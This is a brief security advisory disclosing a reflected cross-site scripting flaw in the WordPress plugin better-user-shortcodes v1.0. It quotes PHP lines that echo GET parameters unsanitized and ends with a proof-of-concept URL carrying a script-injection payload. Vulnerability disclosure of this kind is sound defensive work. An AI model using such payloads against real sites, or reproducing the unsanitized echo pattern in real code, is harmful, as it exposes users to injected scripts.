Advisory #: 167
Title: Reflected XSS in wordpress plugin better-user-shortcodes v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/better-user-shortcodes
Downloads: 4369
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: better-user-shortcodes
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./better-user-shortcodes/views/loginshortcode.php: 6: <p class="bus-loginform-error"><?php echo $_GET['username']; ?></p> 9: <p class="bus-loginform-error"><?php echo $_GET['password']; ?></p> The variable username appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./better-user-shortcodes/views/loginshortcode.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/better-user-shortcodes/views/loginshortcode.php?username="><script>alert(1);</script><"